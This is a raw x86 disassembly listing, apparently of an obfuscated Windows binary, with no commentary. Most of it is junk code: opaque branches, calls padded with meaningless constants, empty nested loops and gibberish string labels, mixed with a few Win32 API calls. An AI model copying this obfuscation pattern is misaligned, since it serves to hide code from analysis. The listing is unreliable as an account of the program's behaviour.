add esp, 0x18
push 0
push 0x515f
push 0x253e
push 0x787c
push 1
push 1
push 0x5456
push 0
push 0x2876
push 1
call fcn.00476734
add esp, 0x28
jmp 0x48ce62
jmp 0x48cdcd
lea ecx, [ebp - 0x1acc]
call fcn.0040e212
movzx eax, byte [ebp - 0x206]
test eax, eax
je 0x48cf85
mov dword [ebp - 0xa04], 0x825e
mov dword [ebp - 0x1560], 0xfffffffb
mov dword [ebp - 0x179c], 0x39d
mov dword [ebp - 0x137c], 0x8ccedb77
push 0x3a3b
push 0x4c49
push 1
push 0x1895
push 0x430d
lea eax, [ebp - 0xa04]
push eax
push 0x1b59
push 1
push 1
push 0
push 0
call fcn.00483900
add esp, 0x2c
push 0x2bb0
lea eax, [ebp - 0x179c]
push eax
push 1
push 1
push 0x6f1c
push 0x48a5
lea eax, [ebp - 0xa04]
push eax
lea eax, [ebp - 0x137c]
push eax
lea eax, [ebp - 0x1560]
push eax
push 0
call fcn.00483eba
add esp, 0x28
push 0x241b
call dword [sym.imp.USER32.dll_SetCapture]
jmp 0x48ca2b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2210], 0
je 0x48cfae
cmp dword [ebp - 0x140], 0
je 0x48cfae
mov dword [ebp - 0xa0c], 1
jmp 0x48cfb5
and dword [ebp - 0xa0c], 0
cmp dword [ebp - 0x140], 0x84515fdc
jae 0x48cfce
xor eax, eax
jne 0x48cfce
and dword [ebp - 0x1154], 0
jmp 0x48cfd8
mov dword [ebp - 0x1154], 1
mov eax, dword [ebp - 0x1154]
dec eax
cmp dword [ebp - 0xa0c], eax
je 0x48cff3
mov dword [ebp - 0xe44], 1
jmp 0x48cffa
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xe44], eax
jle 0x48d01d
cmp dword [ebp - 0xa14], 0
jne 0x48d01d
mov dword [ebp - 0x1054], 1
jmp 0x48d024
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0xa14]
cmp dword [ebp - 0x1054], eax
jne 0x48d03e
mov dword [ebp - 0xa1c], 1
jmp 0x48d045
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x244], 0xe0648261
mov dword [ebp - 0x710], 0x2285faaf
push 2
lea ecx, [ebp - 0x1ae4]
call fcn.0040e140
push 1
push 0x7e6e
lea eax, [ebp - 0x1f28]
push eax
push 1
lea eax, [ebp - 0x1ae4]
push eax
push 0
push 0x5fd
push 1
call fcn.0047d604
add esp, 0x20
push 1
push 0x1938
push 0x7955
push 0
push 0x3c8b
push 0
push 0x418e
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x710]
push eax
call fcn.00477073
add esp, 0x24
mov dword [ebp - 0x244], 0
jmp 0x48d0e3
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x13
jge 0x48d198
mov dword [ebp - 0xe4c], 7
push 1
push 0
push 0x349f
push 0x27af
push 1
push 1
push 0x40fe
push 1
push 0x4180
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x710]
push eax
lea eax, [ebp - 0xe4c]
push eax
call fcn.0047b4e6
add esp, 0x30
push 0x36c3
push 0x3684
lea eax, [ebp - 0x710]
push eax
push 0x62f1
push 0x5986
push 0x6819
push 0x2a57
push 0xc53
lea eax, [ebp - 0xe4c]
push eax
push 1
push 0x5482
push 0x152d
push 0
lea eax, [ebp - 0x1ae4]
push eax
push 0
push 0
push 1
push 0x541c
push 0x357d
call fcn.00484a32
add esp, 0x4c
jmp 0x48d0d6
lea ecx, [ebp - 0x1ae4]
call fcn.0040e212
push 0x4c33
push 1
push 1
push 0x7aca
push 0
push 0x3a6a
push 1
push 1
call fcn.0047e194
add esp, 0x20
mov dword [ebp - 0x424], 5
mov dword [ebp - 0x424], 0
jmp 0x48d1e7
cmp dword [ebp - 0x424], 0xfffffffd
jl 0x48e028
mov dword [ebp - 0x1a4c], 0x39b642c7
mov dword [ebp - 0x1a48], 0x39b642c7
mov dword [ebp - 0x1a44], 0x39b642c7
mov dword [ebp - 0x1a40], 0x39b642c7
lea ecx, [ebp - 0x7b1]
call fcn.0040e23d
push eax
lea eax, [ebp - 0x1a3c]
push eax
lea eax, [ebp - 0x1a4c]
push eax
lea ecx, [ebp - 0x22b0]
call fcn.0040e240
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f78]
call fcn.0040e1ec
mov dword [ebp - 0x1384], 0x5286e871
mov dword [ebp - 0x20c4], 6
mov byte [ebp - 0x213], 0
push 0
push 1
push 0
push 0x4ecb
push 0x7159
push 0x4309
lea eax, [ebp - 0x213]
push eax
call fcn.0047ead6
add esp, 0x1c
push 0x2ad0
lea eax, [ebp - 0x1f78]
push eax
push 1
push 0
push 0x31e1
push 1
lea eax, [ebp - 0x1384]
push eax
push 1
call fcn.0046d5db
add esp, 0x20
lea ecx, [ebp - 0x1f78]
call fcn.0040e212
mov dword [ebp - 0xa24], 0x7c64
mov dword [ebp - 0x16d4], str.aldx_xikxca_qep_xegrful_cxlotp_nmgenyn
cmp dword [ebp - 0xa24], 0x7ef4
jle 0x48d3e6
and dword [ebp - 0x62c], 0
jmp 0x48d2fd
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0x3f9d
jge 0x48d3e6
and dword [ebp - 0x42c], 0
jmp 0x48d323
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x56c0
jge 0x48d3e1
and dword [ebp - 0x584], 0
jmp 0x48d349
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0x2992
jge 0x48d3dc
and dword [ebp - 0x434], 0
jmp 0x48d36f
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0x6d57
jge 0x48d3d7
mov eax, dword [ebp - 0x62c]
imul eax, dword [ebp - 0x42c]
sub eax, dword [ebp - 0x584]
mov ecx, dword [ebp - 0x434]
sar eax, cl
cdq
mov dword [ebp - 0x15a4], eax
mov dword [ebp - 0x15a0], edx
push dword [ebp - 0x15a0]
push dword [ebp - 0x15a4]
lea ecx, [ebp - 0x24cc]
call fcn.004019bd
pop ecx
pop ecx
mov ecx, eax
call fcn.0040e020
push eax
call fcn.0049dd57
pop ecx
lea ecx, [ebp - 0x24cc]
call fcn.0040e016
jmp 0x48d362
jmp 0x48d33c
jmp 0x48d316
jmp 0x48d2f0
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0xa24], 0x7c04
jge 0x48d405
push dword [ebp - 0x16d4]
call fcn.0049dd57
pop ecx
jmp 0x48d421
or dword [ebp - 4], 0xffffffff
jmp 0x48d42b
push 3
lea ecx, [ebp - 0x17b8]
call fcn.0040e140
mov dword [ebp - 0x120], 0x6915a136
mov dword [ebp - 0x7b8], 0x28217c71
push 0x3b02
lea eax, [ebp - 0x17b8]
push eax
push 0
push 1
push 1
push 1
push 0x4fb8
push 0x313b
lea eax, [ebp - 0x1f30]
push eax
call fcn.00483a89
add esp, 0x24
mov dword [ebp - 0x120], 0
jmp 0x48d492
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jg 0x48d579
push 3
lea ecx, [ebp - 0x18e0]
call fcn.0040e140
push 0x3688
lea eax, [ebp - 0x18e0]
push eax
push 0
push 0x119d
push 1
push 0x1b60
push 0x6f7a
push 1
lea eax, [ebp - 0x217c]
push eax
push 0x4aae
push 1
call fcn.0047ad22
add esp, 0x2c
push dword [ebp - 0x120]
lea ecx, [ebp - 0x17b8]
call fcn.0040e22e
cmp dword [eax], 0
je 0x48d506
lea ecx, [ebp - 0x18e0]
call fcn.0040e212
jmp 0x48d579
push 0x2972
push 0x181
push 0x762b
push 0x21e9
lea eax, [ebp - 0x120]
push eax
push 1
push 0
lea eax, [ebp - 0x17b8]
push eax
push 0x65bf
push 0x509f
push 1
push 0x7b1d
lea eax, [ebp - 0x18e0]
push eax
push 0x2353
lea eax, [ebp - 0x7b8]
push eax
push 0x7f3b
push 1
push 0x7798
push 0x19bb
call fcn.00476be4
add esp, 0x4c
lea ecx, [ebp - 0x18e0]
call fcn.0040e212
jmp 0x48d485
push 2
lea ecx, [ebp - 0x17b8]
call fcn.0040e22e
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x7b8]
cmp dword [ebp - 0x120], eax
jle 0x48d5a8
mov dword [ebp - 0x1280], 1
jmp 0x48d5af
and dword [ebp - 0x1280], 0
mov eax, dword [ebp - 0x1280]
mov dword [ebp - 0x7b8], eax
lea ecx, [ebp - 0x17b8]
call fcn.0040e212
mov byte [ebp - 0x1cb], 0
mov dword [ebp - 0x2d0], 2
mov dword [ebp - 0x6c0], 0xffffffff
mov dword [ebp - 0xa3c], 0xfffffffb
mov dword [ebp - 0xa34], 0
mov dword [ebp - 0xe5c], 0xfffffff9
mov dword [ebp - 0x1f38], 0xfff6
lea eax, [ebp - 0x2d0]
push eax
push 0
push 0x4c82
push 1
push 0x1520
push 0xdc
push 0xd34
push 0x7811
push 0x2ad7
push 1
push 1
call fcn.0047491b
add esp, 0x2c
mov eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x20cc], eax
cmp dword [ebp - 0x6c0], 0
jne 0x48d678
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x1cac], eax
mov eax, dword [ebp - 0x6c0]
add eax, 0x61ec
cmp eax, 0xfffffff7
jle 0x48d678
and dword [ebp - 0xa2c], 0
jmp 0x48d682
mov dword [ebp - 0xa2c], 1
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0xa2c]
jl 0x48d6a8
mov dword [ebp - 0xe54], 1
jmp 0x48d6af
and dword [ebp - 0xe54], 0
mov eax, dword [ebp - 0xa34]
add eax, dword [ebp - 0xe54]
cmp eax, dword [ebp - 0xa34]
jne 0x48d6d1
or eax, 0xffffffff
jne 0x48d6d1
and dword [ebp - 0x105c], 0
jmp 0x48d6db
mov dword [ebp - 0x105c], 1
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xa3c]
mov dword [ebp - 0xe5c], eax
cmp dword [ebp - 0xe5c], 8
jbe 0x48d702
mov dword [ebp - 0xa44], 1
jmp 0x48d709
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x6c0]
cmp dword [ebp - 0xa44], eax
jg 0x48d723
mov dword [ebp - 0x115c], 1
jmp 0x48d72a
and dword [ebp - 0x115c], 0
cmp dword [ebp - 0x115c], 0xdc1b6eab
jne 0x48d79e
mov byte [ebp - 0x1c9], 0
movzx eax, byte [ebp - 0x1c9]
test eax, eax
je 0x48d77e
push 0
push 0x3038
push 0x77f1
push 0x7ac
push 0x6f20
push 0x5c9
push 0
push 0x5f57
push 0x38b3
push 0x6077
push 1
call fcn.0046a11a
add esp, 0x2c
mov byte [ebp - 0x1ed], 0
lea eax, [ebp - 0x1ed]
push eax
push 0
push 1
push 1
push 0
call fcn.004848fb
add esp, 0x14
jmp 0x48d7ba
push 0
push 0x7f43
push 1
lea eax, [ebp - 0x2d0]
push eax
push 0
push 1
call fcn.004864c9
add esp, 0x18
movzx eax, byte [ebp - 0x1cb]
test eax, eax
je 0x48d90d
mov dword [ebp - 0x19c0], 0x928c176b
mov dword [ebp - 0x19bc], 0x928c176b
mov dword [ebp - 0x19b8], 0x928c176b
mov dword [ebp - 0x19b4], 0x928c176b
lea ecx, [ebp - 0x7c5]
call fcn.0040e23d
push eax
lea eax, [ebp - 0x19b0]
push eax
lea eax, [ebp - 0x19c0]
push eax
lea ecx, [ebp - 0x2250]
call fcn.0040e240
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f88]
call fcn.0040e1ec
mov dword [ebp - 0xe64], 2
mov dword [ebp - 0xa4c], 0xf7921e12
push 0x6518
push 1
lea eax, [ebp - 0xa4c]
push eax
push 0
lea eax, [ebp - 0xe64]
push eax
push 1
push 0x4620
push 0x77f0
push 0x6085
lea eax, [ebp - 0x1f88]
push eax
call fcn.0047883c
add esp, 0x28
push 0x2775
lea eax, [ebp - 0xa4c]
push eax
push 0xdf
push 0x198c
push 0x7a29
push 0x3d68
lea eax, [ebp - 0xe64]
push eax
push 0x7697
push 0x6e11
push 1
push 0x3e5c
push 0x3273
push 0
push 0x3f9d
push 0
push 1
push 1
push 0x947
push 0x362e
call fcn.00484a32
add esp, 0x4c
lea ecx, [ebp - 0x1f88]
call fcn.0040e212
push 1
push 0x208b
push 0x3c93
push 0
push 0x5999
push 1
push 0x756f
push 0x2839
push 0x1050
push 1
push 0x24cc
push 1
call fcn.0048806c
add esp, 0x30
mov dword [ebp - 0x1cb4], 1
mov dword [ebp - 0xa54], 0x35f2
mov dword [ebp - 0x138c], str.wromlnms_pun_rjcifdbm_ivyq_xcurec_wnxbpgo_tjvlxrif_htwhwgplh_ladv
cmp dword [ebp - 0xa54], 0x3681
jle 0x48d9f1
push 0x835
push 0
push 0
push 0x2430
push 0xcaf
push 0
push 0x1c55
call dword [sym.imp.GDI32.dll_GetDIBits]
and dword [ebp - 0x43c], 0
jmp 0x48d971
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x7eb1
jge 0x48d9f1
and dword [ebp - 0x58c], 0
jmp 0x48d993
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
cmp dword [ebp - 0x58c], 0x7a05
jge 0x48d9ec
mov eax, dword [ebp - 0x43c]
or eax, dword [ebp - 0x58c]
cdq
mov dword [ebp - 0x15b0], eax
mov dword [ebp - 0x15ac], edx
push dword [ebp - 0x15ac]
push dword [ebp - 0x15b0]
lea ecx, [ebp - 0x2418]
call fcn.004019bd
pop ecx
pop ecx
mov ecx, eax
call fcn.0040e020
push eax
call fcn.0049dd57
pop ecx
lea ecx, [ebp - 0x2418]
call fcn.0040e016
jmp 0x48d986
jmp 0x48d964
push 1
push 1
push 0x37c1
push 1
call fcn.00473c0f
add esp, 0x10
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0xa54], 0x35b0
jge 0x48da23
push dword [ebp - 0x138c]
call fcn.0049dd57
pop ecx
jmp 0x48da3f
or dword [ebp - 4], 0xffffffff
jmp 0x48da49
push 1
push 0x56cd
push 0x59b6
push 0
push 1
push 0x68c7
call fcn.004854b6
add esp, 0x18
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x444], 0xb6318d58
mov dword [ebp - 0x268], 0x9b4e
mov dword [ebp - 0xa74], 0xffff
push 4
lea ecx, [ebp - 0x1afc]
call fcn.0040e140
mov dword [ebp - 0xa8], 0
jmp 0x48dab1
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x48dacd
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x718], 4
jmp 0x48daa4
mov dword [ebp - 0xa8], 0
jmp 0x48dae6
cmp dword [ebp - 0xa8], 2
jge 0x48db02
mov dword [ebp - 0x594], 0xe5477a75
mov dword [ebp - 0x1584], 0xffffffff
mov dword [ebp - 0x44c], 0
jmp 0x48e055
mov eax, dword [ebp - 0x44c]
inc eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 1
jge 0x48e06e
mov eax, dword [ebp - 0x44c]
mov dword [ebp + eax*4 - 0x48], 0xfffffffe
jmp 0x48e048
mov byte [ebp - 0x1cd], 0
push 0x3afc
lea eax, [ebp - 0x1cd]
push eax
push 0
push 0x3ae2
push 0
push 1
push 0x220b
push 1
call fcn.00470051
add esp, 0x20
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x48], 0
jmp 0x48e0c0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0xffffffe3
je 0x48e56e
mov dword [ebp - 0x17dc], 0x63070b7b
mov dword [ebp - 0xb0], 0
jmp 0x48e0f4
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x48e110
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x2a4], 7
jmp 0x48e0e7
mov dword [ebp - 0xb0], 0
jmp 0x48e129
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x48e145
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1b2c], 0
jmp 0x48e11c
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2a4], 0
jmp 0x48e173
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2a4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2a4], 0xfffffffc
jle 0x48e1b4
mov dword [ebp - 0x13a4], 0xfffffffa
cmp dword [ebp - 0x13a4], 0
je 0x48e198
jmp 0x48e1b4
push 1
push 0x791d
push 1
push 0x2da8
push 0
push 1
call fcn.004864c9
add esp, 0x18
jmp 0x48e158
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x48]
cmp dword [ebp + eax - 0x2a4], ecx
jle 0x48e1d8
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2a4]
cmp dword [ebp + eax - 0x2a4], ecx
jl 0x48e200
mov dword [ebp - 0x1164], 1
jmp 0x48e207
and dword [ebp - 0x1164], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x1164], eax
jne 0x48e225
mov dword [ebp - 0xa8c], 1
jmp 0x48e22c
and dword [ebp - 0xa8c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a4]
cmp dword [ebp - 0xa8c], eax
jne 0x48e24d
mov dword [ebp - 0xe84], 1
jmp 0x48e254
and dword [ebp - 0xe84], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a4]
imul eax, dword [ebp - 0xe84]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x48]
jle 0x48e280
mov dword [ebp - 0xa94], 1
jmp 0x48e287
and dword [ebp - 0xa94], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a4]
cmp dword [ebp - 0xa94], eax
je 0x48e2ad
xor eax, eax
inc eax
je 0x48e2ad
mov dword [ebp - 0x1074], 1
jmp 0x48e2b4
and dword [ebp - 0x1074], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1074]
sub ecx, dword [ebp + eax - 0x48]
cmp ecx, 0x61d2
jge 0x48e2d8
mov dword [ebp - 0xa9c], 1
jmp 0x48e2df
and dword [ebp - 0xa9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp eax, dword [ebp - 0xa9c]
jl 0x48e2fd
mov dword [ebp - 0xe8c], 1
jmp 0x48e304
and dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0xe8c]
add eax, 0xe2
je 0x48e3be
mov dword [ebp - 0x1220], 0x7f1bd53d
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1220]
cmp dword [ebp + eax - 0x1b2c], ecx
jle 0x48e346
mov eax, 0xe456
test eax, eax
jne 0x48e346
and dword [ebp - 0x16e0], 0
jmp 0x48e350
mov dword [ebp - 0x16e0], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0xe6bae055
je 0x48e36c
mov dword [ebp - 0xaa4], 1
jmp 0x48e373
and dword [ebp - 0xaa4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
imul eax, dword [ebp - 0xaa4]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1b2c]
jne 0x48e39f
mov dword [ebp - 0x2a8], 0xfffa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
cmp dword [ebp - 0x594], eax
jge 0x48e3e6
mov dword [ebp - 0xe94], 1
jmp 0x48e3ed
and dword [ebp - 0xe94], 0
cmp dword [ebp - 0xe94], 0xe525b78c
jae 0x48e405
mov dword [ebp - 0xab4], 1
jmp 0x48e40c
and dword [ebp - 0xab4], 0
cmp dword [ebp - 0xab4], 0xe34d
je 0x48e424
lea eax, [ebp - 0x1070]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x1078], eax
mov dword [ebp - 0xad4], 0x4fb7
mov dword [ebp - 0x13bc], str.gssv_djrql_ezmmim
cmp dword [ebp - 0xad4], 0x5112
jle 0x48e631
and dword [ebp - 0x454], 0
jmp 0x48e5c2
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0x6a5a
jge 0x48e624
and dword [ebp - 0x688], 0
jmp 0x48e5e4
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 0x3ceb
jge 0x48e622
mov eax, dword [ebp - 0x454]
imul eax, dword [ebp - 0x688]
cdq
mov dword [ebp - 0x15bc], eax
mov dword [ebp - 0x15b8], edx
push dword [ebp - 0x15b8]
push dword [ebp - 0x15bc]
mov ecx, 0xa97fd8
call fcn.0040e02b
jmp 0x48e5d7
jmp 0x48e5b5
push 0x1220
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0xad4], 0x4d7a
jge 0x48e654
mov edx, dword [ebp - 0x13bc]
mov ecx, 0xa97fd8
call fcn.0041000e
jmp 0x48e670
or dword [ebp - 4], 0xffffffff
jmp 0x48e67a
mov dword [ebp - 0x124], 1
mov dword [ebp - 0xae4], 0xffffffff
mov dword [ebp - 0x45c], 0
jmp 0x48e6a7
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 3
jge 0x48e6c3
mov eax, dword [ebp - 0x45c]
mov dword [ebp + eax*4 - 0x2228], 0x204e2db5
jmp 0x48e69a
mov dword [ebp - 0x124], 0
jmp 0x48e6dc
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 2
jg 0x48e735
mov byte [ebp - 0x1ef], 0
push 0x587a
push 0x83
push 1
push 0x1bc6
push 0
push 0x5787
push 0x1451
lea eax, [ebp - 0x1ef]
push eax
push 0x3a6c
push 1
push 0x30b9
push 0xb4c
push 0x5ed2
push 0x310b
call fcn.00486c1a
add esp, 0x38
jmp 0x48e6cf
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2228], 0
je 0x48e759
cmp dword [ebp - 0x124], 0
je 0x48e759
mov dword [ebp - 0xadc], 1
jmp 0x48e760
and dword [ebp - 0xadc], 0
cmp dword [ebp - 0x124], 0x84515fdc
jae 0x48e779
xor eax, eax
jne 0x48e779
and dword [ebp - 0x1084], 0
jmp 0x48e783
mov dword [ebp - 0x1084], 1
mov eax, dword [ebp - 0x1084]
dec eax
cmp dword [ebp - 0xadc], eax
je 0x48e79e
mov dword [ebp - 0xeac], 1
jmp 0x48e7a5
and dword [ebp - 0xeac], 0
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0xeac], eax
jle 0x48e7c8
cmp dword [ebp - 0xae4], 0
jne 0x48e7c8
mov dword [ebp - 0x11e4], 1
jmp 0x48e7cf
and dword [ebp - 0x11e4], 0
mov eax, dword [ebp - 0xae4]
cmp dword [ebp - 0x11e4], eax
jne 0x48e7e9
mov dword [ebp - 0xaec], 1
jmp 0x48e7f0
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x1764], 0x251d69f4
mov dword [ebp - 0x1ce4], 2
mov dword [ebp - 0x1cec], 0xfffffff7
mov dword [ebp - 0x13cc], 0x3629aa81
mov dword [ebp - 0x1cf4], 0xfe4b2830
mov dword [ebp - 0x1590], 1
mov dword [ebp - 0x1cfc], 0xcb61d225
mov dword [ebp - 0x7a8], 0x717be9fb
mov dword [ebp - 0x1d04], 1
mov dword [ebp - 0x1d0c], 0x89328a06
mov dword [ebp - 0xaf4], 0xcd9d7540
mov dword [ebp - 0x1d14], 0x61fc2da8
mov dword [ebp - 0xb1c], 1
mov dword [ebp - 0x13d4], 3
mov dword [ebp - 0x1d1c], 0xffffffff
mov dword [ebp - 0x1d24], 0xffffffff
mov dword [ebp - 0x1d2c], 0x740826f3
mov dword [ebp - 0x1d34], 9
mov dword [ebp - 0x1174], 0xe4ed383d
mov dword [ebp - 0x1d3c], 0x1a8f1edd
mov dword [ebp - 0xeb4], 0xb6fb96f3
mov dword [ebp - 0x728], 6
mov dword [ebp - 0x1d44], 0xffffffff
mov dword [ebp - 0x215c], 0x734f12ce
mov dword [ebp - 0x2158], 0x734f12ce
mov dword [ebp - 0x2154], 0x734f12ce
mov dword [ebp - 0x2150], 0x734f12ce
mov dword [ebp - 0x1820], 0xfecc
mov dword [ebp - 0x181c], 0xfecc
mov dword [ebp - 0x1818], 0xfecc
mov dword [ebp - 0x1814], 0xfecc
mov dword [ebp - 0x159c], 0x27baed9
mov dword [ebp - 0x778], 0
mov dword [ebp - 0x13dc], 0
mov dword [ebp - 0xd8], 0
jmp 0x48e969
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 1
jge 0x48e985
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x16ec], 0xffffffff
jmp 0x48e95c
mov dword [ebp - 0xd8], 0
jmp 0x48e99e
cmp dword [ebp - 0xd8], 3
jge 0x48e9ba
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x1b44], 1
jmp 0x48e991
mov eax, dword [ebp - 0x1590]
mov dword [ebp - 0x1d4c], eax
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x13c4], eax
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x13c4], 0xffffffff
jne 0x48e9f4
mov eax, dword [ebp - 0x1500]
mov dword [ebp - 0x1508], eax
mov eax, dword [ebp - 0x1508]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x6d4]
mov dword [eax], 0
jmp 0x49ae64
mov eax, dword [ebp - 0x6d4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6d4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6d4]
cmp dword [eax], 0
jl 0x49aec9
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x670], 0
jmp 0x49ae92
mov eax, dword [ebp - 0x670]
dec eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 0
jl 0x49aec7
mov byte [ebp - 0x1ea], 0
push 0
push 1
push 0x2f9f
push 0x5b3b
lea eax, [ebp - 0x1ea]
push eax
push 0
push 1
push 1
call fcn.0047c3b9
add esp, 0x20
jmp 0x49ae85
jmp 0x49ae53
jmp 0x49af09
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1518], eax
push 0x4ca5
push 1
push 0x6227
push 0x67b2
push 0
push 0
push dword [ebp - 0x1518]
push 0x1dcc
push 0x2076
push 0x4eda
call fcn.004858ab
add esp, 0x28
jmp 0x49af29
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1520], eax
push 0x521f
push 0
push dword [ebp - 0x1520]
call fcn.00469d66
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret